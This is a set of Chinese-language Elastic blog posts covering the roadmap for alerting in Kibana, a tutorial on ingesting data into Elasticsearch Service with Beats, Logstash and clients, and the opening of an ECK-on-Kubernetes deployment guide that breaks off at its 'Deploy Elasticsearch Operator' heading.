<p>告警是 Elastic 各种用例的基础。自从<a href="/cn/blog/watcher-you-know-for-alerting-coming-soon">于 2015 年推出</a> <a href="/guide/en/kibana/7.3/watcher-ui.html">Watcher</a>（Elasticsearch 最初的告警功能套件）以来，我们收到了大量反馈，这些反馈帮助我们更清晰地理解了告警系统应该是什么样子，以及用户体验需要包括哪些内容。本文的目的有三：总结一下我们学到的一些主要内容；说明这些内容对我们 2019 年的工作有何影响；并指出 Elastic Stack 中的告警未来会如何发展。
</p> <strong>
<h2>我们学到了什么？</h2></strong>
<p>Elastic 过去四年间一直在从事告警方面的工作，在这一过程中收获了有关告警系统的丰富知识。我尝试将我们所学到的内容浓缩成三个瞻望性的发现：我们在每个用例中都会用到告警；我们需要结合各种用例来理解告警；告警的检测和响应正在变得越来越完善。学到的这些内容会影响我们如何看待告警未来的发展。
</p> <strong>
<h3>告警无处不在</h3></strong>
<p>我们的所有产品和用例都离不开告警。如果您拥有实时数据，那就肯定会有告警用例。因此，我们才构建了 Watcher；也正因为这样，Watch 才取得了成功。然而，如果看一下各种用例，我们可以清晰看到并没有放之四海而皆准的告警系统。
</p>
<p>从诸如 Elastic Logs、SIEM、APM、Uptime、Infrastructure 和 Maps 等产品，到诸如 Monitoring 和 Machine Learning 等功能，再到丰富的 Kibana 仪表板，虽然告警和通知都发挥着关键作用，但各项在检测条件、如何表达以及如何参考上下文进行显示方面，都有着独特的需求。如需实现有效的告警和监测，必须与产品进行深度集成。随着堆栈和其使用领域的不断发展，有一点越来越清晰，即 Elasticsearch 告警需要一个辅助工具来允许<strong>在各个用例中提供紧密集成且表达丰富的告警</strong>。
</p> <strong>
<h3>理解告警</h3></strong>
<p>“告警无处不在”的必然后果就是：随着这些不同的用例生成告警，这些告警会变成它们自身的数据源，让您有机会理解系统及各自的状态。或者，正如站点可靠性工程 (SRE) 社区所说，提供了一个机会来改善整体系统的可观测性。
</p>
<p>每个用例都会用独有方式来解读数据，而告警则会显示情况的不同侧面。要想正确应对事件，通常需要从多个来源收集数据，还需要将不同类型的告警和事件进行关联分析以理解情况。在某些领域，例如 SIEM，较高级别的告警需由较低级别告警中的模式来触发。
</p>
<p>随着人们越来越热衷于使用 Elastic Stack 来完成越来越多的用例，如果告警系统设置得当的话，其不仅能生成告警，还能够帮助您<strong>理解它们在各种用例之中的涵义</strong>。例如，Uptime 告警可能表示服务中断，APM 告警则解释了是哪项事务引发的，而监测告警则可以精准确定发生原因。告警系统应该提供上下文，帮助进行关联分析，并提高认识——同时服务于真人和机器。
</p> <strong>
<h3>检测和行动</h3></strong>
<p>“理解告警”的必然结果就是：通过一套可观测性更佳的系统，您能检测到更复杂的条件并采取更完善的行动。这一点越来越超出了我们对告警的传统认识。
</p>
<p>告警通常专注于检测一个条件，然后引起人们的注意，一般到此为止。然而将眼界放大一点的话，我们可以将告警系统看做下面这个控制或反馈回路的一部分：观测，检测条件，采取行动，再次观测。
</p>
<p>当前，“行动”通常涉及通知，亦即将人员加入回路当中以控制系统并尝试加以纠正。但是，随着系统洞见的提升，“行动”可以拥有更多控制权（通常在人的监督之下）。这可能是一个由双向对话系统（例如聊天机器人）管治的半自动系统，也可能是全自动系统，正如我们在朝着自动扩展、自动修复和自动优化应用程序发展的趋势中所看到的那样。
</p>
<p>告警系统需要支持<strong>完善的检测和行动</strong>，并承认下边两点：“检测”不局限于向 Elasticsearch 发送一条查询；“行动”也不再只是发送一封电子邮件或调用一个 Webhook。
</p> <strong>
<h2>应用我们所学的内容</h2></strong>
<p>我们在 <a href="https://github.com/elastic/kibana/issues/24214">2018 年秋季</a>已下定决心：我们的告警系统需要支持上面的三个发现。
</p>
<p>我们还确定了达成下列目标的最佳方式，那就是将告警作为 Kibana 中的一级实体：
</p>
<ul>
	<li><strong>告警无处不在</strong>：在插件、API 和 UI 层面，针对我们的所有产品提供丰富的告警集成选项</li>
	<li><strong>理解告警</strong>：针对所有告警类型提供直观的界面</li>
	<li><strong>检测和行动</strong>：通过 Kibana 插件打造完善的检测和行动机制</li>
</ul>
<p>我们从 Watcher 中还知道：告警系统必须能扩展至生产级告警负载，而且必须拥有卓越的可用性和可靠性。对于支持这三大发现的 API、UI 和插件/库协定，我们必须在坚固的可扩展基础上进行构建。总结一下，我们将 Elastic 告警系统分为四个层级：
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt48e66e76c9686633/5d8247931ec6f77b9b7f21db/alerting-layers-blog.png" data-sys-asset-uid="blt48e66e76c9686633" alt="Elastic Stack 告警系统的层级" style="display: block; margin: auto;">
</p><figcaption>Elastic 告警系统概览
</figcaption>
<p>我们 2019 年一直在为 Kibana 中崭新的告警系统打基础。
</p>
<p>1 月份，我们在 6.7 版本中添加了 <a href="https://github.com/elastic/kibana/issues/23632">Task Manager</a>（任务管理器）。这能够持续为 Kibana 的后台调度提供可在多个 Kibana 实例之间进行分配的任务，从而实现可扩展性和可用性。Task Manager 等告警基础层组件不只支持告警。举例说明，Task Manager 可以在 Kibana 中提供更佳的定期报告体验。
</p>
<p>然后在 6 月，我们<a href="https://github.com/elastic/kibana/pull/37042">向 Kibana 中添加了两个 API 集合</a>：告警 API 和行动 API。
</p>
<p>行动 API 能够让 Kibana 注册并实施行动，还提供了一个简单协定来帮您定义自己的协定，从而简化自定义过程。初始版本还有一些针对日志、Slack 和电邮通知的示例行动。
</p>
<p>告警 API 允许 Kibana 将检测形式注册为“告警类型”，然后使用任务管理系统按计划运行这些检查。和行动一样，也有一个简单的告警协定：如果您可以使用 Kibana 服务器上所运行的 JavaScript 函数将协定表达出来，它就可以支持告警。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0172899948524258/5d8247b1631ee43e546a1c3a/alerting-geo-alert-blog.gif" data-sys-asset-uid="blt0172899948524258" alt="地理边界告警插件" style="display: block; margin: auto;">
</p><figcaption>7.3 版本中所编写地理边界告警插件的概念验证。此插件能够在单一告警中跟踪 1600 辆公交车，将进入和离开红色多边形区域的动作写入日志文件。紫色车辆 (#8341) 的进入和离开动作已高亮显示。
</figcaption>
<p>Elastic Stack 7.4 专注于告警系统较低层面的工作：我们强化了 API；新增了针对<a href="https://github.com/elastic/kibana/pull/41389">安全</a>和<a href="https://github.com/elastic/kibana/pull/42081">空间</a>的支持；还另外添加了几项内置行动，例如<a href="https://github.com/elastic/kibana/pull/41592">索引</a>、<a href="https://github.com/elastic/kibana/pull/43538">Webhook</a> 和 <a href="https://github.com/elastic/kibana/pull/43395">PagerDuty</a>。
</p> <strong>
<h2>后续工作计划</h2></strong>
<p>过去几个月我们一直在全力开发 Kibana 的告警系统，而且在 7.x 的版本周期中我们将会继续这一方面的努力。我们的计划是分三阶段推出此系统。
</p>
<p>第一阶段在 2019 年的很长时间内一直都在进行：奠定基础。此阶段专注于可扩展的任务管理和调度、针对告警和行动的协定，以及 API。
</p>
<p>我们现在已进入第二阶段，在 API 和库层面<em>为不同用例集成</em>告警系统。还包括在 Kibana 中设计和构建 UI，以便理解告警并通过具体用例（例如<a href="/cn/infrastructure-monitoring">监测</a>、<a href="/cn/uptime-monitoring">Uptime</a> 或 <a href="/cn/siem">SIEM</a>）进行验证。
</p>
<p>第三阶段则会继续拓展“告警无处不在”和“检测和行动”这两个主题，具体方法是允许在整个 Kibana 中使用<em>用户定义告警</em>，无论是通过模板式告警，还是通过使用 <a href="/guide/en/kibana/7.3/canvas-function-reference.html">Canvas 表达式</a>等开发的基于表达式的告警。
</p>
<p>最终目标是此系统能够实现我们对于 Elastic Stack 中告警的愿景：
</p>
<ul>
	<li><strong>告警无处不在</strong>：告警是 Kibana 中具有空间意识的一级实体。这使得我们能够针对各组来细分告警的创建和查看过程，并允许在 SIEM、Monitoring 和 Uptime（不予一一列举）等产品中进行丰富集成。告警旨在作为 Watcher 的辅助功能与其一起发挥作用，并非要取而代之。</li>
</ul>
<ul>
	<li><strong>理解告警</strong>：在提供丰富集成选项的同时，我们还会推出 Kibana UI，以提供有关各种告警类型的综合视图，以及用于关联分析和理解告警历史的工具。</li>
</ul>
<ul>
	<li><strong>检测和行动</strong>：API 和插件都经过精心设计，以便不限制检测或行动机制的形式，只要可以用 Kibana 服务器上运行的 JavaScript 表达出来就可以。这为通过诸如 SIEM 等产品或者我们的可观测性解决方案在 Kibana 中打造完善的检测和行动留出了足够多的自由空间。</li>
</ul>完整的告警系统肯定不会一蹴而就，但鉴于我们已打好基础，您将会在之后的 Kibana 版本中看到这一新的告警愿景的方方面面。我们希望尽早构建出该系统，收到您的反馈，并不断取得新突破——欢迎您在 <a href="https://github.com/elastic/kibana/projects/26">GitHub</a> 中关注我们的进展！

alerting-blog-banner.jpg

alerting-blog-thumb.jpg

Alerting in the Elastic Stack

Elastic Stack 中的告警

深入了解最常见的将数据采集到 Elasticsearch 服务的方法，以及针对各种用例的设置帮助和建议。

<p>对于数据搜索和分析来说，Elasticsearch 无处不在。开发人员和社区可利用 Elasticsearch 寻找寻找各种各样的用例，从<a href="/cn/app-search">应用程序搜索</a>和<a href="/cn/site-search">网站搜索</a>，到日志、<a href="/cn/infrastructure-monitoring">基础架构监测</a>、<a href="/cn/apm">APM</a> 和 <a href="/cn/siem">安全分析</a>，不一而足。虽然现在有针对这些用例的免费解决方案，但是开发人员首先需要将其数据提供给 Elasticsearch。
</p><p>本文将描述几种最常见的将数据采集到 Elasticsearch 服务的方法。这可能是一个托管在 <a href="https://cloud.elastic.co">Elastic Cloud</a> 或其本地方案 <a href="/cn/ece">Elastic Cloud Enterprise</a> 上的集群。虽然我们主要关注于这些服务，但采集到自管型 Elasticsearch 集群的数据看起来几乎是相同的。唯一的变化是您处理集群的方式。
</p><p>在我们深入探讨技术细节之前，提醒一下：如果您在阅读本文时遇到任何问题，请随时访问 <a href="https://discuss.elastic.co">discuss.elastic.co</a>。我们的社区非常活跃，您有望会在那里找到问题的答案。
</p><p>接下来，我们开始使用以下方法来深入探讨数据采集：
</p><ul>
	<li>Elastic Beats</li>
	<li>Logstash</li>
	<li>语言客户端</li>
	<li>Kibana 开发工具</li>
</ul> <strong><h2><strong>采集到 Elasticsearch 服务</strong></h2></strong><p>Elasticsearch 提供了灵活的 RESTful API，用于与客户端应用程序通信。因此，REST 调用被用来采集数据、执行搜索和数据分析，以及管理集群及其索引。实际上，上述所有方法都依赖于这个 API 将数据采集到 Elasticsearch。
</p><p>在本文后续介绍中，我们假设您已经创建了 Elasticsearch 服务集群。如果您还没有创建，请<a href="/cn/cloud/elasticsearch-service/signup">注册 Elastic Cloud 免费试用</a>。在您创建集群后，系统将会为您提供 Elastic 超级用户帐户的云 ID 和密码。云 ID 的格式如下：<code>cluster_name:ZXVy...Q2Zg==</code>。它对您集群的 URL 进行了编码，并且我们将会看到，它可简化数据采集。
</p> <strong><h3><strong>Elastic Beats</strong></h3></strong><p>Elastic Beats 是一组轻量型的数据采集器，可以方便地将数据发送给 Elasticsearch 服务。由于是轻量型的，Beats 不会产生太多的运行时开销，因此，可以在硬件资源有限的设备（如 IoT 设备、边缘设备或嵌入式设备）上运行和收集数据。如果您需要收集数据，但没有资源来运行资源密集型数据收集器，那么 Beats 会是您最佳的选择。这种无处不在（涵盖所有联网设备）的数据收集方式，让您能够快速检测到异常情况做出反应，例如系统范围内的问题和安全事件等。
</p><p>当然，Beats 并不局限于资源有限的系统，它们还可用于具有更多可用硬件资源的系统。
</p> <strong><h4><strong>Beats 系列：概述</strong></h4></strong><p>Beats 有多种风格，可以收集不同类型的数据：
</p><ul>
	<li><a href="/cn/beats/filebeat">Filebeat</a> 支持您从以文件形式提供的源中读取、预处理和传送数据。尽管大多数用户使用 Filebeat 来读取日志文件，但它也支持任何非二进制文件格式。Filebeat 还支持许多其他数据源，包括 TCP/UDP、容器、Redis 和 Syslog。借助丰富的<a href="/guide/en/beats/filebeat/current/filebeat-modules.html">模块</a>，可以轻松针对 Apache、MySQL 和 Kafka 等常见应用程序的日志格式收集和解析相应的数据。</li>
	<li><a href="/cn/beats/metricbeat">Metricbeat</a> 可收集并预处理系统和服务指标。系统指标包括关于运行中进程的相关信息，以及 CPU/内存/磁盘/网络利用率方面的数据。这些<a href="/guide/en/beats/filebeat/current/filebeat-module-system.html">模块</a>可用于收集来自许多不同服务的数据，包括 Kafka、Palo Alto Networks、Redis，等等。</li>
	<li><a href="/cn/beats/packetbeat">Packetbeat</a> 可收集并预处理实时网络数据，从而支持应用程序监测、安全和网络性能分析。此外，Packetbeat 还支持以下协议：DHCP、DNS、HTTP、MongoDB、NFS 和 TLS。</li>
	<li><a href="/cn/beats/winlogbeat">Winlogbeat</a> 可从 Windows 操作系统捕获事件日志，包括应用程序事件、硬件事件，以及安全和系统事件。对于许多用例来说，从 Windows 事件日志中获得的大量信息非常有用。</li>
	<li><a href="/cn/beats/auditbeat">Auditbeat</a> 可检测对关键文件的更改并从 Linux 审计框架收集事件。不同的<a href="/guide/en/beats/auditbeat/current/auditbeat-modules.html">模块</a>简化了它的部署，这主要在安全分析用例中使用。</li>
	<li><a href="/cn/beats/heartbeat">Heartbeat</a> 利用探测来监测系统和服务的可用性。因此，Heartbeat 在许多场景中都很有用，比如基础架构监测和安全分析。ICMP、TCP 和 HTTP 都是受支持的协议。</li>
	<li><a href="/cn/beats/functionbeat">Functionbeat</a> 可从无服务器环境（如 AWS Lambda）中收集日志和指标。</li>
</ul><p>一旦您决定了在特定场景中要使用哪个 Beats，入门就像下节所描述的那样，非常简单。
</p> <strong><h4><strong>Beats 入门</strong></h4></strong><p>在这部分中，我们将以 Metricbeat 为例，学习如何开始使用 Beats。对于其他 Beats，步骤大同小异。针对您具体的 Beat 和操作系统，请参考本文档并按照下列步骤进行操作。
</p><ol>
	<li><a href="/cn/downloads/beats">下载并安装所需的 Beat</a>。安装 Beats 有很多种方法，但大多数用户都会选择使用为操作系统的包管理器提供的 Elastic 存储库 (DEB/RPM)，或者简单下载并解压缩所提供的 tgz/zip 包。</li>
	<li><a href="/guide/en/beats/metricbeat/current/configuring-howto-metricbeat.html">配置 Beat</a> 并<a href="/guide/en/beats/metricbeat/current/configuration-metricbeat.html">启用任何所需的模块</a>。</li>
</ol><ul>
	<li>例如，要收集系统上运行的关于 Docker 容器的指标，则通过 <code>sudo metricbeat modules enable docker</code> 启用 <a href="/guide/en/beats/metricbeat/current/metricbeat-module-docker.html">Docker 模块</a>（如果您使用包管理器安装）。如果您通过解压缩 tgz/zip 包安装，则使用 <code>/metricbeat modules enable docker</code>。</li>
	<li>云 ID 是一种简便的方法，用以指定收集的数据要发送到的 Elasticsearch 服务。将云 ID 和身份验证信息添加到 Metricbeat 配置文件 (Metricbeat .yml)：
	</li>
	<pre class="prettyprint">cloud.id: cluster_name:ZXVy...Q2Zg==
cloud.auth: "elastic:YOUR_PASSWORD"
    </pre>
	<ul>
		<li>如前所述，<code>cloud.id</code> 是在创建集群时提供给您的。<code>cloud.auth</code> 是一个冒号分隔的用户名和密码的串联，且已在 Elasticsearch 集群中被授予足够的权限。
		</li>
		<li>若要快速启动，可以使用在创建集群时提供的 Elastic 超级用户和密码。如果您使用包管理器安装，则可以在 <code>/etc/metricbeat</code> 目录下找到配置文件；如果您使用 tgz/zip 包安装，则在解压缩的目录下。</li>
	</ul>
</ul><ol start="3">
	<li><a href="/guide/en/beats/metricbeat/current/load-kibana-dashboards.html">将预装仪表板加载到 Kibana</a>。大多数 Beats 和它们的模块都带有预先定义好的 Kibana 仪表板。如果您使用包管理器安装，则通过 <code>sudo metricbeat setup</code> 将它们加载到 Kibana；如果使用 tgz/zip 包安装，则在解压缩的目录下运行 <code>./metricbeat setup</code>。</li>
</ol><ol start="4">
	<li><a href="/guide/en/beats/metricbeat/current/setting-up-and-running.html">运行 Beat</a>。如果您在基于 systemd 的 Linux 系统上使用包管理器安装，则使用 <a href="/guide/en/beats/metricbeat/current/running-with-systemd.html"><code>sudo systemctl start metricbeat</code></a>；如果您使用 tgz/zip 包安装，则使用 <code>./metricbeat -e</code></li>
</ol><p>如果一切正常，数据就会开始流入 Elasticsearch 服务。
</p> <strong><h4><strong>探索预装仪表板</strong></h4></strong><p>前往 Elasticsearch 服务中的 Kibana 来查看数据：
</p><ul>
	<li>在 Kibana Discover 中，选择 <code>metricbeat-*</code> 索引模式，您将能够看到已采集的各个文档。</li>
	<li>“Kibana 基础架构”选项卡通过以各种图表形式显示有关系统资源（CPU、内存、网络）的使用情况，让您能够以更图形化的方式检查系统和 Docker 指标。</li>
	<li>在 Kibana 仪表板中，选择任意带有 [Metricbeat System] 前缀的仪表板，以交互方式查看数据。</li>
</ul> <strong><h3><strong>Logstash</strong></h3></strong><p>Logstash 是一个强大而灵活的工具，可以读取、处理和传送任何类型的数据。Logstash 提供了许多功能，这些功能目前还不可用，或者通过 Beats 执行成本太高，比如通过对外部数据源执行查找来丰富文档。不管采用哪种方式，Logstash 的这种功能和灵活性都是有代价的。此外，Logstash 的硬件要求也显著高于 Beats。严格来说，Logstash 通常不应部署在低资源设备上。因此，在 Beats 功能不足以满足特定用例要求的情况下，可将 Logstash 用作其替代选择。
</p><p>一种常见的架构模式是将 Beats 和 Logstash 组合起来：使用 Beats 来收集数据，并使用 Logstash 来执行 Beats 无法执行的任何数据处理。
</p> <strong><h4><strong>Logstash 概述</strong></h4></strong><p>Logstash 通过执行事件处理管道来工作，其中每个管道至少包含以下各项中的一个：
</p><ul>
	<li><a href="/guide/en/logstash/current/input-plugins.html">输入</a>从数据源读取数据。官方支持多种数据源，包括文件、http、imap、jdbc、kafka、syslog、tcp 和 udp。</li>
	<li><a href="/guide/en/logstash/current/filter-plugins.html">过滤器</a>以多种方式处理和丰富数据。在许多情况下，首先需要将非结构化的日志行解析为更加结构化的格式。因此，除其他功能外，Logstash 还在正则表达式的基础上提供了解析 CSV、JSON、键/值对、分隔的非结构化数据和复杂的非结构化数据的过滤器（<a href="/guide/en/logstash/current/plugins-filters-grok.html">grok 过滤器</a>）。Logstash 还提供了更多的过滤器，通过执行 <a href="/guide/en/logstash/current/plugins-filters-dns.html">DNS 查找</a>，添加<a href="/guide/en/logstash/current/plugins-filters-geoip.html">关于 IP 地址的地理信息</a>，或通过对<a href="/guide/en/logstash/current/plugins-filters-translate.html">自定义目录</a>或 <a href="/guide/en/logstash/current/plugins-filters-elasticsearch.html">Elasticsearch 索引</a>执行查找来丰富数据。通过这些附加的过滤器，能够对数据进行各种转换，例如重命名、删除、复制数据字段和值（<a href="/guide/en/logstash/current/plugins-filters-mutate.html">mutate 过滤器</a>）。</li>
	<li><a href="/guide/en/logstash/current/output-plugins.html">输出</a>将解析后并加以丰富的数据写入数据接收器，这是 Logstash 处理管道的最后阶段。虽然有许多输出插件可用，但这里我们主要讨论如何使用 <a href="/guide/en/logstash/current/plugins-outputs-elasticsearch.html">Elasticsearch 输出</a>将数据采集到 Elasticsearch 服务。</li>
</ul> <strong><h4><strong>Logstash 示例管道</strong></h4></strong><p>没有两个用例是相同的。因此，您可能必须开发符合自身特定数据输入和需求的 Logstash 管道。
</p><p>我们提供了一个示例 Logstash 管道，该管道能够
</p><ul>
	<li>读取 Elastic 博客 RSS 源</li>
	<li>通过复制/重命名字段和删除特殊字符及 HTML 标记来执行一些简单的数据预处理</li>
	<li>将文档采集到 Elaticsearch</li>
</ul><p>步骤如下：
</p><ol>
	<li>通过<a href="/guide/en/logstash/current/installing-logstash.html">包管理器</a>或下载并解压 <a href="/guide/en/elasticsearch/reference/6.0/zip-targz.html">tgz/zip 文件</a>来安装 Logstash。</li>
	<li>安装 Logstash <a href="/guide/en/logstash/current/plugins-inputs-rss.html">rss 输入插件</a>，这可支持读取 RSS 数据源：<code>./bin/logstash-plugin install logstash-input-rss</code></li>
	<li>将下列 Logstash 管道定义复制到一个新文件，例如 ~/elastic-rss.conf:</li>
</ol><pre class="prettyprint">input { 
  rss { 
    url =&gt; "/blog/feed" 
    interval =&gt; 120 
  } 
} 
filter { 
  mutate { 
    rename =&gt; [ "message", "blog_html" ] 
    copy =&gt; { "blog_html" =&gt; "blog_text" } 
    copy =&gt; { "published" =&gt; "@timestamp" } 
  } 
  mutate { 
    gsub =&gt; [  
      "blog_text", "&lt;.*?&gt;", "",
      "blog_text", "[\n\t]", " " 
    ] 
    remove_field =&gt; [ "published", "author" ] 
  } 
} 
output { 
  stdout { 
    codec =&gt; dots 
  } 
  elasticsearch { 
    hosts =&gt; [ "https://&lt;your-elsaticsearch-url&gt;" ] 
    index =&gt; "elastic_blog" 
    user =&gt; "elastic" 
    password =&gt; "&lt;your-elasticsearch-password&gt;" 
  } 
}
</pre><ol start="4">
	<li>在上面的文件中，修改参数主机和密码，以匹配您的 Elasticsearch 服务端点和 Elastic 用户密码。在 Elastic Cloud 中，您可以从部署页的详细信息中获取 Elasticsearch 端点 URL（复制端点 URL）。</li>
</ol><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt028c5e311d9933f2/5d72da8272e3f704311c0060/ingest-ess-deployment-blog.png" data-sys-asset-uid="blt028c5e311d9933f2" alt="部署页面详细信息" style="display: block; margin: auto;">
</p><p><span></span>
</p><ol start="5">
	<li>通过启动 Logstash 执行管道：./bin/logstash -f ~/elastic-rss.conf</li>
</ol><p>启动 Logstash 需要几秒钟的时间。您会在控制台上看到出现圆点 (.....)。每个点表示一个已采集到 Elasticsearch 的文档。
</p><ol start="6">
	<li>打开 Kibana。在 Kibana 开发工具控制台中，执行以下操作，以确认已经采集了 20 个文档：POST elastic_blog/_search</li>
</ol>有关更多详细信息，请参阅优秀的博客文章 <a href="/cn/blog/a-practical-introduction-to-logstash">Logstash 实用介绍</a>。全部详细信息，请参阅 <a href="/guide/en/logstash/current/index.html">Logstash 文档</a>。<strong></strong><h3><strong><strong>语言客户端</strong></strong></h3>在某些情况下，最好将数据采集与自定义应用程序代码集成。为此，我们建议使用一个<a href="/guide/en/elasticsearch/client/index.html">官方支持的 Elasticsearch 客户端</a>。这些客户端是抽象出数据采集低层细节的库，使您能够专注于特定应用程序的实际工作。Java、JavaScript、Go、.NET、PHP、Perl、Python 和 Ruby 都有官方客户端。有关您所选语言的所有详细信息和代码示例，请参阅相关文档即可。如果您的应用程序不是用上面所列语言编写的，则很可能会有<a href="/guide/en/elasticsearch/client/community/current/index.html">社区贡献的客户端</a>。<strong></strong><h3><strong><strong>Kibana 开发工具</strong></strong></h3>我们推荐的用于开发和调试 Elasticsearch 请求的工具是 <a href="/guide/en/kibana/current/console-kibana.html">Kibana 开发工具控制台</a>。开发工具公开了通用的 Elasticsearch REST API 的全部功能和灵活性，同时抽象出了底层 HTTP 请求的技术细节。不出所料，您可以使用开发工具控制台将原始 JSON 文档放到 Elasticsearch 中：<pre class="prettyprint">PUT my_first_index/_doc/1 
{ 
    "title" :"How to Ingest Into Elasticsearch Service",
    "date" :"2019-08-15T14:12:12",
    "description" :"This is an overview article about the various ways to ingest into Elasticsearch Service" 
}
</pre> <strong><h3><strong>其他 REST 客户端</strong></h3></strong>有了 Elasticsearch 提供的通用 REST 接口，您即可随心所欲地找到自己喜欢的 REST 客户端来与 Elasticsearch 通信并采集文档。虽然我们建议首先尝试上面提到的工具，但是有很多原因可能会让您考虑其他选择。例如，<a href="https://github.com/curl/curl">curl</a> 是一款经常作为最后手段使用的工具，用于开发、调试或与自定义脚本集成。<strong></strong><h2><strong><strong>结论</strong></strong></h2>将数据采集到 Elasticsearch 服务的方法不胜枚举。没有两种场景是相同的；选择具体的方法或工具来采集数据取决于您的特定用例、需求和环境。Beats 提供了一种方便、轻量级的开箱即用型解决方案，可以从许多不同的来源收集和采集数据。与 Beats 封装在一起的模块为许多常见数据库、操作系统、容器环境、Web 服务器、缓存等提供了数据获取、解析、索引和可视化的配置。这些模块可提供五分钟实现数据到仪表板的体验。因为 Beats 是轻量型的，所以非常适合资源受限的嵌入式设备，例如 IoT 设备或防火墙。另一方面，Logstash 是一种灵活的工具，可用于读取、转换和采集数据，提供了大量的过滤器、输入和输出插件。如果 Beats 的功能对于某些用例来说还不够，那么一种常见的架构模式是使用 Beats 来收集数据，并通过 Logstash 做进一步处理，然后再采集到 Elasticsearch 中。我们建议在直接从应用程序采集数据时使用官方支持的客户端库。Kibana 开发工具控制台非常适合开发和调试。最后，Elasticsearch REST API 为您提供了使用您喜欢的 REST 客户端的灵活性。准备好进一步深入了解了吗？推荐您阅读以下相关文章：<ul>
	<li><a href="/cn/blog/should-i-use-logstash-or-elasticsearch-ingest-nodes">我应该使用 Logstash 还是 Elasticsearch 采集节点呢？</a></li>
	<li><a href="/cn/blog/get-system-logs-and-metrics-into-elasticsearch-with-beats-system-modules">使用 Beats 系统模块将系统日志和指标获取到 Elasticsearch</a></li>
</ul>

ingest-ess-blog-banner.jpg

ingest-ess-blog-thumb.jpg

How to ingest data into Elasticsearch Service

如何将数据采集到 Elasticsearch 服务

ECK 基于 Operator 模式构建而成，能够扩展 Kubernetes 以支持对 Elasticsearch 和 Kibana 进行设置和管理，还能简化很多关键操作。

<p>尽管仍在 α 测试阶段，近期<a href="/cn/blog/introducing-elastic-cloud-on-kubernetes-the-elasticsearch-operator-and-beyond" target="_self">有关 Elastic Cloud on Kubernetes (ECK) 的公告</a>还是在 Elasticsearch 社区和 Kubernetes 社区引发了人们浓厚的兴趣。ECK 由 Elastic Stack 的开发人员开发和提供支持，是在 Kubernetes 上部署 Elastic 的首选方式。本系列博文共有两篇，旨在带您逐步完成下面的过程：</p>
<ol>
  <li>在 Kubernetes 集群（Minikube 或 GKE）中部署 ECK</li>
  <li>在 ECK 中部署 Elastic Stack</li>
  <li>在 ECK 中对 Elasticsearch 和 Kibana 进行缩放和升级</li>
  <li>部署一个由 Elastic APM 检测的范例应用程序，并将 APM 数据发送至由 ECK 托管的 Elasticsearch 集群</li>
  <li>将 Metricbeat 作为 DaemonSet 部署到 Kubernetes 中，并将 Metribeat 安全地连接至由 ECK 托管的 Elasticsearch 集群</li>
</ol>
<p>按照博文进行操作后，您将会拥有一套如下图所示的系统。在第一篇博文中，我们专注于部署 ECK 和 Elastic Stack。</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt581c3354e0ff2a19/5d669db03c79d92e49236cd1/eck-deployment-diagram-blog.png" data-sys-asset-uid="blt581c3354e0ff2a19" alt="ECK 部署关系图" style="display: block;margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;" /></p>
<p>您还可以参考<a href="/guide/en/cloud-on-k8s/0.9/k8s-quickstart.html" target="_self">快速入门</a>页面或<a href="/cn/elasticsearch-kubernetes" target="_self">产品页面</a>，以了解有关 ECK 的最新信息。</p>
<h2><strong>创建您的 k8s 集群</strong></h2>
<p>您必须准备好一个 Kubernetes 集群，然后才能部署 ECK 和 Elastic Stack。在本篇博文中，Minikube 或 Google Kubernetes Engine (GKE) 都可以。我们还支持其他 Kubernetes 分发包，例如 <a href="/guide/en/cloud-on-k8s/0.9/k8s-openshift.html" target="_self">OpenShift</a>、Amazon EKS 和 Microsoft AKS。由于我们要部署 ECK、Elasticsearch、Kibana、APM Server 和一个范例应用程序，我建议您将集群配置为 16 GB 内存和 4 核处理器。您也可以将 Kubernetes 集群配置为 12 GB 内存，但 16 GB 肯定能为您带来流畅的使用体验。</p>
<h3><strong>Minikube</strong></h3>
<p>如果您准备使用 Minikube，请按照<a href="https://kubernetes.io/docs/tasks/tools/install-minikube/#install-minikube" target="_self">安装说明</a>进行安装。安装完毕后，使用所需的资源对 Minikube 进行配置并将其启动：</p><pre class="prettyprint">minikube config set memory 16384 <br/>minikube config set cpus 4 <br/>minikube start<br/></pre>
<p>借助 Kubernetes 仪表板，您能够十分便捷地对 Kubernetes 集群进行监测和管理。您通过一条命令便可为 Minikube 启用仪表板：</p><pre class="prettyprint">minikube dashboard<br/></pre>
<p>会自动打开一个浏览器窗口，并显示 Kubernetes 仪表板。就这么简单——您可以进行下一步了。</p>
<h3><strong>Google Kubernetes Engine (GKE)</strong></h3>
<p>如想使用 GKE，请按照 Google <a href="https://cloud.google.com/kubernetes-engine/" target="_self">文档</a>来配置您的集群。我的 GKE 集群包括一个节点，该节点的配置为 15 GB 内存，4 个 vCPU。您可以选择小一些的集群，但是内存不得小于 12 GB。而且，如要使用 GKE，您需要 <a href="https://cloud.google.com/sdk/gcloud/" target="_self">gcloud 命令行工具</a>。</p>
<p>您的 GKE 集群设置完毕并运行后，使用下方命令来连接至您的集群并设置所需的权限。对于 GKE，您必须拥有集群管理员权限。确保将 <strong>project name</strong>（项目名称）、<strong>zone name</strong>（区域名称）、<strong>cluster name</strong>（集群名称）和 <strong>user ID</strong>（用户 ID）替换为您的信息：</p><pre class="prettyprint">gcloud config set project elastic-sa <br/>gcloud config set compute/zone us-central1-a <br/>gcloud config set container/cluster aquan <br/>gcloud auth login <br/>gcloud container clusters get-credentials aquan --zone us-central1-a --project elastic-sa <br/>kubectl create clusterrolebinding cluster-admin-binding --clusterrole=cluster-admin --user=adam.quan@elastic.co <br/>kubectl create clusterrolebinding adam.quan-cluster-admin-binding --clusterrole=cluster-admin --user=adam.quan@elastic.co<br/></pre>
<p>最后，我们将要使用 Kubernetes 命令行工具与 Minikube 或 GKE 进行交互。按照<a href="https://kubernetes.io/docs/tasks/tools/install-kubectl/" target="_self">指南</a>安装 <strong>kubectl</strong>。确保您所安装的 kubectl 为 1.11 或更新版本。</p>
<p>至于本篇博文所使用的项目，您可从这个 <a href="https://github.com/adamquan/ECK" target="_self">GitHub 存储库</a>下载。</p>
<h2><strong>部署 Elasticsearch Operator</strong></h2>
